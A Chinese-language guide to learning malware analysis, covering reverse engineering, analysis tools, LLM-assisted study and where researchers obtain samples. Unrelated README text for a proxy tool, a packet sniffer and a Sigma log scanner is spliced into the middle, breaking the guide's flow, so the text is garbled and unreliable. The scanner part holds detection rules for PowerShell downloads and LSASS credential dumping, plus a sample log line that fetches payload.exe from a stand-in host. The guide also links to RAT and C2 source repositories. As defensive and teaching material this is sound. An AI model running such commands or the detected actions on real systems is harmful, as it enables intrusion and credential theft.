精选的恶意软件分析师成长指南,涵盖必备知识、逆向工程、分析工具以及 LLM 辅助学习,并配有实践练习和资源。
这是@PINKSAWTOOTH的个人观点,未必是对你而言最好的方法。如果能为你的学习方法提供一些参考,我将感到荣幸。
在阅读本文之前,我尊敬的恶意软件分析师@hasherezade女士在博客中总结了应该如何开始学习恶意软件分析。 虽然应该会有重复的部分,但建议先阅读一遍。此外,以下博客主要以英语资料为主,因此我想尽量介绍以日语为主的资料。
[!NOTE]
2026年补充: LLM时代的恶意软件分析学习
开始撰写本页面的当时,LLM和AI Agent还不是像现在这样日常可用的时代。 在2026年的现在,如果要学习恶意软件分析或逆向工程,建议在书籍和网络资料之外,积极利用LLM。特别是在学习用程序的创建、代码和汇编的说明、分析、分析脚本的编写、分析结果的整理等方面,它非常有用。
另一方面,在许多分析技术中,LLM超越人类的场景正在增加。但这并不意味着基础知识变得不必要了。为了理解LLM的输出,并亲自确认其依据和正确性,拥有专业知识是非常重要的(虽然那一天可能很快就会到来,届时这项工作将失去意义……)。本文的前提是将LLM作为"一起学习的老师、分析时的助手"来使用,而不是"给出答案的装置"。
首先,简单说明恶意软件分析的前提知识。 在学习恶意软件分析之前,至少需要计算机科学的知识。
关于这些内容,如果能理解大学或专科学校所学习的内容就足够了。 (通过查看某所大学的在线教学大纲等,应该能了解到更具体的内容。) 本文不涉及如何学习编程语言和计算机科学,但以下是我推荐的资料。
恶意软件分析所需的知识大致分为以下5类。
首先需要学习什么是恶意软件、恶意软件分析是做什么的工作。 介绍学习恶意软件分析整体时推荐的资料和书籍。
恶意软件分析的在线培训也推荐。
介绍汇总了恶意软件行为、所利用技巧的页面。
每天公开的威胁情报以及涉及恶意软件分析的博客和报告也是重要的信息来源。用RSS阅读器等设置更新通知会很方便。 也有汇总这些内容的网站,可以加以利用。
在这些当中,介绍一些用日语对恶意软件进行详细分析的来源。
此外,通过阅读YARA规则,也可以学习恶意软件的特征。
逆向工程在恶意软件分析中只是一部分,但要成为恶意软件分析师,这是无法回避的道路。 仅靠使用沙箱的动态分析或使用工具的动态分析(不包括手动进行的调试),很难确定恶意软件功能的整体面貌和所使用的算法。
要进行逆向工程,需要理解原始的源代码。 (恶意软件分析中一般假设Windows环境)在没有使用Windows API编程经验的情况下进行恶意软件分析,会走弯路。
Windows API由Microsoft公开了官方文档和示例。 ※注意部分日语翻译的显示可能有问题
学习Windows OS机制推荐以下书籍。
C/C++在学习Windows恶意软件逆向工程方面至今仍非常重要,因此推荐作为首先学习的语言。 另一方面,实际的分析对象并不只有C/C++。在2026年的现在,至少了解以下内容的二进制和运行时特征会很有帮助。
不需要从一开始就深入学习所有语言。要知道当开发语言或运行时发生变化时,所需的知识也会随之变化。
掌握了分析对象语言和环境的编程技术后,就来学习逆向工程吧。 在恶意软件分析中分析常见的Windows PE文件时,首先试着逆向工程C或C++的入门程序吧。 下一步,试着分析自己编译的(存在源代码的)使用Win API的PE文件吧。即使是相同的源代码,如果更改所选择的项目或编译、链接选项等,观察可执行文件会出现怎样的变化,逆向工程技术应该会有相当大的提升。
以前我推荐寻找Microsoft的示例或GitHub上的代码,一边改写一边学习。这种方法现在仍然有效,但在2026年的现在,让LLM或Coding Agent根据自己的学习目的制作小程序的方法也非常有效。
例如,首先让它生成10〜50行左右的小程序。```text CreateFileWとWriteFileを使ってテキストファイルを作成する、 できるだけ小さなWindows Cプログラムを作ってください。 リバースエンジニアリングの教材に使いたいので、 処理を複雑にせず、各Windows APIを使う理由も説明してください。
生成されたコードを、Microsoft Learnのドキュメントと照らし合わせながら内容を確認し、自分でコンパイルします。
その後、GhidraやIDAなどで自分がコンパイルしたバイナリを解析し、元のソースコードと逆アセンブル・デコンパイル結果を比較します。
以下のループで勉強します。```text
LLMに小さなコードを作らせる
↓
ソースコードを読む・APIを調べる
↓
自分でビルドする
↓
Ghidraなどで解析する
↓
元のソースコードと比較する
↓
分からない部分だけLLMに質問する
↓
別の条件で再ビルドして比較する
例如,可以比较同一份处理逻辑的源代码在以下情况下的差异。
在已知原始源代码的情况下分析二进制文件,对于学习逆向工程来说是非常好的训练。
要进一步磨练逆向工程技术,可以尝试解答 CTF 的 Rev 题或 Crackme。 特别是 PE 文件相关的题目,以及面向恶意软件分析人员设计的题目,都很推荐。
此外,在恶意软件的逆向工程中,经常需要对加密算法的处理进行逆向工程,因此建议学习基本的密码学技术。 理解算法之后,可以阅读 GitHub 等平台上公开的开源加密算法实现的源代码,并实际进行逆向工程。
在推进恶意软件分析时,使用更好的工具或熟练运用工具,有时可以让分析变得更容易。 此外,即使拥有各种知识,实际分析时仍然要通过工具来进行,因此也需要理解工具的用法。
在 Windows 环境下,使用 Mandiant 公开的 FLARE-VM 来管理分析工具的安装和更新非常方便。它可以一次性安装恶意软件分析和逆向工程所需的各种工具。
在 Linux 环境下,可以使用 REMnux。它也汇集了恶意软件分析所需的工具,可以通过收录工具列表进行查看。
FLARE-VM 和 REMnux 都能轻松构建恶意软件分析环境,因此也推荐给第一次搭建分析环境的人。通过查看各自包含的工具并实际使用,可以了解存在哪些分析工具,以及在什么场景下使用它们。
此外,也可以尝试使用以下链接中介绍的工具。
LLM 的一个便利用法,是将其作为可以当场提问不懂之处的教师来使用。在 LLM 出现之前,需要自己调查尚未理解的内容,并理解其含义。尤其是对于初学者来说,很多时候甚至不知道应该查什么,这成为学习过程中的一个障碍。如今,拥有高水平知识的 LLM 可以根据自己的理解程度,反复耐心地进行说明。不懂的话可以重新提问,也可以使用“再简单一点说明”、“举出具体例子”、“确认一下我这样理解是否正确”等用法。 只要有学习的意愿,就可以在不断提问不懂之处的过程中进行学习,我觉得这真是个好时代。
例如,对于反汇编结果或反编译结果,可以提出以下这样的问题。```text この関数の役割と、そう判断できる理由を教えてください。
## 主要功能
- **多协议支持**:HTTP/HTTPS、SOCKS4、SOCKS5
- **多种认证方式**:无认证、Basic、NTLM、NTLMv2、Digest、Bearer Token、API Key
- **代理链**:通过多个代理进行链式连接
- **代理池**:自动轮换和健康检查
- **DNS over HTTPS**:通过 DoH 进行安全 DNS 解析
- **TLS 指纹伪装**:模拟浏览器 TLS 指纹
- **流量分析**:实时监控和统计
- **规则引擎**:基于规则的请求/响应修改
- **插件系统**:可扩展的插件架构
## 安装
### 从源码构建
```bash
git clone https://github.com/example/proxy-tool.git
cd proxy-tool
cargo build --release
# macOS
brew install proxy-tool
# Linux
apt-get install proxy-tool
# 启动代理服务器
proxy-tool --listen 127.0.0.1:8080
# 使用配置文件
proxy-tool --config config.yaml
server:
listen: "127.0.0.1:8080"
protocol: "http"
auth:
type: "basic"
username: "admin"
password: "secret"
upstream:
- "socks5://127.0.0.1:1080"
- "http://proxy.example.com:3128"
proxy-tool --chain "http://proxy1:8080,socks5://proxy2:1080"
proxy-tool --pool proxies.txt --rotate round-robin
proxy-tool --doh https://dns.google/dns-query
规则引擎允许您根据请求和响应的内容进行动态修改。
rules:
- name: "block-ads"
match:
url: ".*\\.ads\\..*"
action: "block"
- name: "add-header"
match:
host: "api.example.com"
action:
type: "modify-request"
headers:
X-Custom-Header: "value"
插件系统支持使用 Lua 或 JavaScript 编写自定义插件。
-- example.lua
function on_request(req)
req.headers["X-Plugin"] = "enabled"
return req
end
问题:无法连接到上游代理
检查网络连接和代理配置是否正确。
问题:认证失败
验证用户名和密码是否正确,检查认证类型是否匹配。
问题:性能缓慢
尝试调整并发连接数或启用连接池。
欢迎提交 Issue 和 Pull Request。
本项目采用 MIT 许可证。详见 LICENSE 文件。```text このデコンパイル結果から変数の型を推定したいです。 型を判断するために、どの命令、API、参照先を確認すべきですか?
## 主要功能
- **多协议支持**:HTTP/HTTPS、SOCKS4、SOCKS5
- **代理链**:通过多个代理串联请求
- **代理池**:从文件或 URL 加载代理列表
- **轮换**:按请求或按时间间隔轮换代理
- **健康检查**:自动检测失效代理
- **认证**:支持 Basic、Digest、NTLM 认证
- **TLS 指纹**:模拟浏览器 TLS 指纹
- **DNS over HTTPS**:通过 DoH 解析域名
- **超时控制**:细粒度的超时设置
- **重试机制**:自动重试失败请求
- **日志记录**:详细的调试日志
## 安装
```bash
pip install proxy-tool
或从源码安装:
git clone https://github.com/example/proxy-tool.git
cd proxy-tool
pip install -e .
from proxy_tool import ProxyClient
client = ProxyClient(proxy="http://127.0.0.1:8080")
response = client.get("https://httpbin.org/ip")
print(response.json())
配置文件使用 YAML 格式:
proxy:
url: http://127.0.0.1:8080
auth:
username: user
password: pass
timeout: 30
retries: 3
rotation:
enabled: true
interval: 60
strategy: round-robin
通过多个代理串联请求:
from proxy_tool import ProxyChain
chain = ProxyChain([
"http://proxy1:8080",
"socks5://proxy2:1080",
"http://proxy3:3128",
])
response = chain.get("https://httpbin.org/ip")
从文件加载代理列表:
from proxy_tool import ProxyPool
pool = ProxyPool.from_file("proxies.txt")
pool.check_health()
client = pool.get_client()
response = client.get("https://httpbin.org/ip")
支持以下轮换策略:
round-robin:依次轮换random:随机选择weighted:按权重选择least-used:选择使用次数最少的代理pool = ProxyPool.from_file("proxies.txt")
results = pool.check_health(
url="https://httpbin.org/ip",
timeout=10,
workers=10,
)
for proxy, ok in results.items():
print(f"{proxy}: {'OK' if ok else 'FAIL'}")
模拟浏览器 TLS 指纹:
client = ProxyClient(
proxy="http://127.0.0.1:8080",
tls_fingerprint="chrome",
)
支持的指纹:
chromefirefoxsafariedgeclient = ProxyClient(
proxy="http://127.0.0.1:8080",
doh_url="https://1.1.1.1/dns-query",
)
from proxy_tool import ProxyClient, ProxyError, TimeoutError
client = ProxyClient(proxy="http://127.0.0.1:8080")
try:
response = client.get("https://httpbin.org/ip")
except TimeoutError:
print("请求超时")
except ProxyError as e:
print(f"代理错误: {e}")
import logging
logging.basicConfig(level=logging.DEBUG)
MIT License```text このWindows API呼び出しの前後で使われている構造体について説明してください。 各フィールドを確認するためにGhidra上でどこを見るべきかも教えてください。
## 主要功能
- **多协议支持**:HTTP/HTTPS、WebSocket、DNS、TCP、UDP
- **实时监控**:实时捕获和分析网络流量
- **灵活过滤**:基于主机、端口、协议和内容的正则表达式过滤
- **多种输出格式**:文本、JSON 和 PCAP 格式
- **TLS 解密**:支持 SSLKEYLOGFILE 进行 HTTPS 流量分析
- **进程关联**:将网络连接映射到进程
- **跨平台**:支持 Linux、macOS 和 Windows
## 安装
### 从源码构建
```bash
git clone https://github.com/example/sniffnet.git
cd sniffnet
cargo build --release
cargo install sniffnet
docker run -it --rm --net=host --cap-add=NET_ADMIN sniffnet/sniffnet
# 捕获所有接口上的流量
sniffnet
# 指定网络接口
sniffnet -i eth0
# 过滤特定主机
sniffnet --host 192.168.1.100
# 过滤特定端口
sniffnet --port 443
# 输出为 JSON 格式
sniffnet --format json
# 保存为 PCAP 文件
sniffnet --output capture.pcap
# 组合多个过滤器
sniffnet -i eth0 --host example.com --port 443 --protocol tcp
# 使用正则表达式过滤内容
sniffnet --regex "password|token"
# 启用 TLS 解密
sniffnet --sslkeylogfile /path/to/sslkeylogfile.txt
# 显示进程信息
sniffnet --process-info
配置文件位于 ~/.config/sniffnet/config.toml:
[general]
interface = "eth0"
format = "json"
output = "/var/log/sniffnet.log"
[filters]
hosts = ["192.168.1.0/24"]
ports = [80, 443, 8080]
protocols = ["tcp", "udp"]
[advanced]
sslkeylogfile = "/path/to/sslkeylogfile.txt"
process_info = true
[2024-01-15 10:30:45] TCP 192.168.1.100:54321 -> 93.184.216.34:443
GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
{
"timestamp": "2024-01-15T10:30:45Z",
"protocol": "TCP",
"source": {
"ip": "192.168.1.100",
"port": 54321
},
"destination": {
"ip": "93.184.216.34",
"port": 443
},
"payload": "GET / HTTP/1.1\r\nHost: example.com\r\n..."
}
在 Linux 上,捕获网络流量需要 root 权限或 CAP_NET_ADMIN 能力:
# 使用 setcap 授予能力
sudo setcap cap_net_admin,cap_net_raw+eip $(which sniffnet)
# 或使用 sudo 运行
sudo sniffnet
列出可用接口:
sniffnet --list-interfaces
确保:
SSLKEYLOGFILE 环境变量已正确设置欢迎贡献!请遵循以下步骤:
git checkout -b feature/amazing-feature)git commit -m 'Add amazing feature')git push origin feature/amazing-feature)本项目采用 MIT 许可证 - 详见 LICENSE 文件。
## 検出ルール
### ルール1: 不審なファイルダウンロードの検出
```yaml
title: 不審なファイルダウンロードの検出
id: 8f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: 不審なファイルダウンロードを検出します
author: Kitploit
date: 2024/01/15
tags:
- attack.command_and_control
- attack.t1071.001
logsource:
category: proxy
product: windows
detection:
selection:
EventID: 1
Image|endswith: '\powershell.exe'
CommandLine|contains:
- 'DownloadFile'
- 'Invoke-WebRequest'
- 'wget'
- 'curl'
condition: selection
falsepositives:
- 正規の管理スクリプト
level: medium
title: 永続化の試行の検出
id: 9e4b3c2d-5f6a-7b8c-9d0e-1f2a3b4c5d6e
status: experimental
description: レジストリのRunキーを介した永続化の試行を検出します
author: Kitploit
date: 2024/01/15
tags:
- attack.persistence
- attack.t1547.001
logsource:
category: registry_set
product: windows
detection:
selection:
EventType: SetValue
TargetObject|contains:
- '\Software\Microsoft\Windows\CurrentVersion\Run'
- '\Software\Microsoft\Windows\CurrentVersion\RunOnce'
condition: selection
falsepositives:
- 正規のソフトウェアインストーラー
level: high
title: 認証情報ダンプの検出
id: 1a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: LSASSメモリへのアクセスを検出します
author: Kitploit
date: 2024/01/15
tags:
- attack.credential_access
- attack.t1003.001
logsource:
category: process_access
product: windows
detection:
selection:
TargetImage|endswith: '\lsass.exe'
GrantedAccess|contains:
- '0x1010'
- '0x1410'
- '0x1438'
- '0x143a'
- '0x1fffff'
condition: selection
falsepositives:
- セキュリティ製品
- バックアップソフトウェア
level: critical
# 単一のログファイルをスキャン
python sigma_scanner.py --rules rules/ --input security.log
# ディレクトリ内のすべてのログをスキャン
python sigma_scanner.py --rules rules/ --input logs/ --recursive
# JSON形式で出力
python sigma_scanner.py --rules rules/ --input security.log --format json
# 重大度でフィルタリング
python sigma_scanner.py --rules rules/ --input security.log --min-level high
# カスタム設定ファイルを使用
python sigma_scanner.py --config custom_config.yaml --input logs/
# 特定のルールタグのみを実行
python sigma_scanner.py --rules rules/ --input logs/ --tags attack.persistence
# 除外ルールを指定
python sigma_scanner.py --rules rules/ --input logs/ --exclude-tags attack.discovery
# 詳細出力モード
python sigma_scanner.py --rules rules/ --input logs/ --verbose
# config.yaml
scanner:
threads: 4
timeout: 30
max_file_size: 100MB
output:
format: json
include_raw_log: false
colorize: true
rules:
paths:
- rules/
- custom_rules/
exclude:
- rules/deprecated/
logging:
level: INFO
file: scanner.log
console: true
[2024-01-15 10:30:45] [HIGH] 不審なファイルダウンロードの検出
ルールID: 8f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
ログソース: security.log:1234
一致したフィールド:
- Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
- CommandLine: powershell.exe -Command "Invoke-WebRequest -Uri http://example.com/payload.exe -OutFile payload.exe"
{
"timestamp": "2024-01-15T10:30:45Z",
"level": "high",
"rule_id": "8f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c",
"rule_title": "不審なファイルダウンロードの検出",
"log_source": "security.log:1234",
"matched_fields": {
"Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"CommandLine": "powershell.exe -Command \"Invoke-WebRequest -Uri http://example.com/payload.exe -OutFile payload.exe\""
}
}
# 並列処理を有効化
python sigma_scanner.py --rules rules/ --input logs/ --threads 8
# メモリマップドファイルを使用
python sigma_scanner.py --rules rules/ --input large.log --mmap
# バッチ処理
python sigma_scanner.py --rules rules/ --input logs/ --batch-size 1000
問題: ルールが読み込まれない
# ルールの構文を確認
python sigma_scanner.py --validate-rules rules/
# 詳細なエラー情報を表示
python sigma_scanner.py --rules rules/ --debug
問題: パフォーマンスが遅い
# プロファイリングを有効化
python sigma_scanner.py --rules rules/ --input logs/ --profile
# スレッド数を増やす
python sigma_scanner.py --rules rules/ --input logs/ --threads 16
問題: メモリ不足
# ストリーミングモードを使用
python sigma_scanner.py --rules rules/ --input logs/ --stream
# バッチサイズを減らす
python sigma_scanner.py --rules rules/ --input logs/ --batch-size 100
git checkout -b feature/amazing-feature)git commit -m 'Add amazing feature')git push origin feature/amazing-feature)このプロジェクトはMITライセンスの下でライセンスされています - 詳細についてはLICENSEファイルを参照してください。
免責事項: このツールは教育およびセキュリティ研究目的でのみ提供されています。不正な目的で使用しないでください。```text 私はこの関数を「設定ファイルの読み込み処理」だと推測しました。 この仮説を検証するために確認すべきポイントを挙げてください。
最初不要直接询问答案,建议以询问提示、确认要点、验证方法的方式来使用。
### Agentic Reverse Engineering
2026年现在,不仅可以使用像ChatGPT这样的对话型LLM,还可以使用能够读写文件、构建程序、执行命令等的Coding Agent。
此外,通过利用MCP(Model Context Protocol)等,从AI Agent直接操作分析工具的方法也正在普及。
例如REMnux中,提供了用于从AI Agent利用REMnux上的恶意软件分析工具的MCP Server。
- [Using AI with REMnux](https://docs.remnux.org/tips/using-ai)
- [REMnux MCP Server](https://github.com/REMnux/remnux-mcp-server)
关于Ghidra,也出现了若干用于从AI Agent操作的MCP实现。我也开发了Mecha Ghidra,用于以Headless方式使用Ghidra,并通过MCP从AI Agent进行分析。
- [Mecha Ghidra](https://github.com/ghidra-user-jp/mecha_ghidra)
关于IDA及其他逆向工程工具,也出现了多个用于与MCP或Agent联动的实现,使得此前由人工手动完成的分析工作可以交给Agent来完成。
另一方面,不建议从初学者阶段就将所有分析都交给Agent。因为这样难以培养自己判断“为什么要进行该分析”“工具内部在做什么”“输出的结果是否正确”等问题的能力。
首先自己进行分析,从向LLM询问不明白的部分开始会比较好。等熟悉之后,建议逐步推进到创建分析辅助脚本、通过MCP进行工具联动、使用Agent实现分析自动化。
### 向LLM输入信息时的注意事项
将业务中处理的恶意软件、客户提供的文件、未公开的IoC、事件信息、内部信息等输入外部LLM服务时需要注意。
请在确认所使用服务的合同内容、数据保留期限、是否用于训练、所属组织的规定等之后再使用。
根据需要,请考虑以下对策。
- 对敏感信息进行掩码处理
- 使用组织允许的LLM服务
- 确认API或面向Enterprise服务的数据处理方式
- 根据需要利用本地LLM
此外,恶意软件本体、分析对象文件、分析结果中,可能包含诱导AI Agent进行非预期行为的字符串。
特别是当AI Agent能够进行文件操作、命令执行、分析工具操作时,它将拥有比普通LLM更强的权限。因此,在恶意软件分析中使用AI Agent时,建议在VM等隔离环境中执行,以确保安全性。
AI虽然已经相当聪明,但仍然有时会执行非预期的命令。
请像以往的恶意软件分析一样,遵守隔离分析环境这一基本原则来使用。
# 不使用实际恶意软件的学习
2026年现在,为了学习恶意软件分析,并不需要从一开始就获取实际的恶意软件。
反而对初学者建议按以下顺序进行。
1. LLM或自己创建的10〜50行左右的小程序
2. 自己编译的Windows API示例
3. CTF/Crackme/恶意软件分析训练用样本
4. 恶意软件或C2框架等公开了源代码的OSS实现
5. 仅在有必要且能够准备安全分析环境的情况下,才使用实际恶意软件
最初阶段,建议使用已知原始源代码的程序作为教材。
因为可以将自己分析的结果与实际源代码进行比较,从而自行确认“分析到了什么程度是正确的”“哪里读错了”。
比起一上来就分析实际恶意软件,首先使用能够对答案的教材,习惯反汇编和反编译结果的阅读方式,我认为这样学习效率更高。
# 恶意软件的获取
## 前言
这里会涉及恶意软件的获取方法,但在使用所介绍的服务时,请务必阅读使用条款后再使用。
此外,以下内容并非推荐获取恶意软件。
关于不正指令电磁记录相关之罪,恶意软件的创建、提供、获取、保管等,其目的及是否存在正当理由等会成为要件。
我并非法律专家,因此不清楚何种理由才符合法律上的`正当理由`。
出于个人兴趣进行恶意软件分析,也可能不被认定为`正当理由`。
如果被侦查会很困扰、如果打官司会很困扰、没有可以作为正当理由提出的活动实绩、没有辩护费用等,希望绝对过上平稳人生的人,最好不要出于个人兴趣去做。
话虽如此,我认为也没有必要过度恐惧而畏缩不前。
至少应当浏览警视厅公开的关于不正指令电磁记录相关之罪的页面,确认其内容。
- https://www.keishicho.metro.tokyo.jp/kurashi/cyber/law/virus.html
在处理恶意软件时需要注意的事情,并不只是法律层面。
执行恶意软件(无论是否故意)时,大多数情况下会访问攻击者准备的服务器。
攻击者的服务器上会留下自己所使用IP地址的日志,连接时也可能发送所使用系统的信息。
根据恶意软件的不同,也可能发生攻击者执行命令等情况,还可能进行内部网络扫描或(最应避免的)对外感染活动等。
记录在攻击者服务器上的信息不仅可能被攻击者本人使用,也可能被提供给第三方。此外,侦查机关可以扣押服务器并分析日志,然后向ISP提出信息披露请求。
如果符合以下任意一项,请避免使用实际恶意软件进行学习。
- 在处理恶意软件方面存在不安。
- 无法准备用于恶意软件分析的专用PC或独立网络等隔离环境。
- 是未成年人或学生,但在处理恶意软件进行分析或研究方面没有负责人(如果是社会人士,则无法作为全部自负责任来承担责任)。
即使不个人获取实际恶意软件,也有如前所述的学习方法。
最后,以前言结束,引用宅们大家都喜欢的以下名言。
- `With great power comes great responsibility`
- `The abyss gazes also into you.`
## 恶意软件共享服务/IoC共享服务
有一些用于共享恶意软件样本或IoC的服务。注册量最多且最有名的是VirusTotal,但由于仅付费账户可以下载,因此这里介绍可免费使用的服务。
以下两个服务作为样本获取来源较为有力。
- [MalwareBazaar](https://bazaar.abuse.ch/)
- [Vx Underground](https://www.vx-underground.org/)
作为参考信息,也列出以下服务。
- [URLhaus](https://urlhaus.abuse.ch/)
- [ThreatFox](https://threatfox.abuse.ch/)
- [MalShare](https://www.malshare.com/)
- [VirusShare](https://virusshare.com/)
- [VirusBay](https://beta.virusbay.io/)
- [Vx Vaul](http://vxvault.net//ViriList.php)
- [theZoo](https://thezoo.morirt.com/)
- [malpedia](https://malpedia.caad.fkie.fraunhofer.de/)
## 在线沙箱
可免费使用的在线沙箱服务本来是用于分析恶意软件行为的服务,但可以下载他人投稿的恶意软件。
- [Hybrid Analysis](https://www.hybrid-analysis.com/)
- [Any Run](https://app.any.run/)
- [Triage](https://tria.ge/)
- [Joe Sandbox](https://www.joesandbox.com/)
- [cape](https://capesandbox.com/)
## OSS RAT
以下是有助于理解RAT(Remote Access Trojan)实现的仓库。
通过比较源代码与实际二进制文件,可以学习通信处理、命令执行、文件操作等实现。
- [Lilith RAT](https://github.com/werkamsus/Lilith)
- [Quasar RAT](https://github.com/quasar/Quasar)
- [NGLite](https://github.com/Maka8ka/NGLite)
- [AsyncRAT](https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp)
- [trochilus RAT](https://github.com/5loyd/trochilus)
- [gh0st RAT](https://github.com/sin5678/gh0st)
- [Poison-Ivy-Reload](https://github.com/killeven/Poison-Ivy-Reload)
- [GitHub Topics rat](https://github.com/topics/rat)
## C2框架
为了理解恶意软件的C2通信或Agent实现,阅读开源公开的C2框架源代码也很有参考价值。
C2框架中实现了Agent与C2 Server之间的通信、命令的接收与执行、文件操作、进程操作、通信数据加密等恶意软件中也常见的功能。
由于各自的实现语言、Agent结构、通信方式不同,因此也可以一边比较源代码与生成的Agent,一边进行逆向工程。
- [Sliver](https://github.com/BishopFox/sliver)
- [Mythic](https://github.com/its-a-feature/Mythic)
- [Mythic Agents](https://github.com/MythicAgents)
- [AdaptixC2](https://github.com/Adaptix-Framework/AdaptixC2)
- [Empire](https://github.com/BC-SECURITY/Empire)
- [PoshC2](https://github.com/nettitude/PoshC2)
- [Merlin](https://github.com/Ne0nd0g/merlin)
- [MITRE CALDERA](https://github.com/mitre/caldera)
- [Havoc](https://github.com/HavocFramework/Havoc)
- [The C2 Matrix](https://www.sans.org/tools/the-c2-matrix)
- 用于比较各种C2框架功能与特点的列表
| 选项 | 描述 |
|---|
-i, --interface | 指定网络接口 |
-h, --host | 过滤特定主机 |
-p, --port | 过滤特定端口 |
-P, --protocol | 过滤特定协议 |
-f, --format | 输出格式(text、json、pcap) |
-o, --output | 输出文件路径 |
-r, --regex | 内容正则表达式过滤 |
--sslkeylogfile | TLS 解密密钥日志文件 |
--process-info | 显示进程信息 |
-v, --verbose | 详细输出 |
--help | 显示帮助信息 |
--version | 显示版本信息 |